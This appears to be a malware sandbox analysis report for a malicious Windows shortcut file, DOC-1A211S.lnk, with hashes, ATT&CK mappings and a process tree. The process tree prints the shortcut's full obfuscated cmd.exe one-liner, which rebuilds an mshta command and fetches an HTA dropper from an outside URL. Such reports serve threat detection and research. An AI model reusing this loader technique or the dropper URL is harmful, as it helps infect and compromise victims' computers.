9bf195692bc3af4a7eef619ac8374c71ac896e0571604231b69494861c6cfb3b

Analysis

max time kernel
148s
max time network
136s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:31

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General

Target
DOC-1A211S.lnk
Size 2KB
Sample260804-ke2kfa1sg1
SHA256 9bf195692bc3af4a7eef619ac8374c71ac896e0571604231b69494861c6cfb3b
MD5 5eb7cee102612daee2f7e57807d9c6e9
SHA1 bd93dc534e0dad43383974f8c9574b68a9400632
SHA512 87de65a255602b6fd2b6658a7893ab10005c357e54cfe5c08fb492be2bbe4edaf0176f6429d8b04b5042d67de4e64e802e3ac622254510b033fd0f853fef17c8
TLSH
T1835133902BFD04A4F3FA9F76EDBE2710497B7C552D20CA9D0850820D4421B10E977B77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1328	cmd.exe
5892	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 5892	1328	cmd.exe	90
PID 5892 wrote to memory of 52	5892	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1A211S.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1328
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set PnlU=winubijerkhnoifiexwin&set Re=tmppoybrctmp&set Ojw=bakghzinnoymshosabebak&set JWkTY=7s1k6&&set iz=6gtartkqi&set uk=wintpfumuuwin&set ntZT=infhilhaawftinf&set ZiLi=winqjaumeoqettrcpwin&set TKTl=netkpocfyconrnet&set Ml=netioglbzieternet&set BJxL=sysvvmlwlkmesbetsmsys&set JBdF=infnugljxmzinpdhducacinf&set wcA=1itmsr&&set ytDA=athso&&set Jy=rtasp&set igL=oldhexvgextold&set YMNVc=winqrvvrrzlrwin&&set oBt=h@ttps://@ma-pdf@f@il@le@[email protected]/@h/e@st@a@[email protected]@hp?@r@=@391469F@B5@D@8@2DB&&start /b !wcA:~3,2!!ytDA:~2,1!!Jy:~1,2! !oBt:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5892
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:52

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads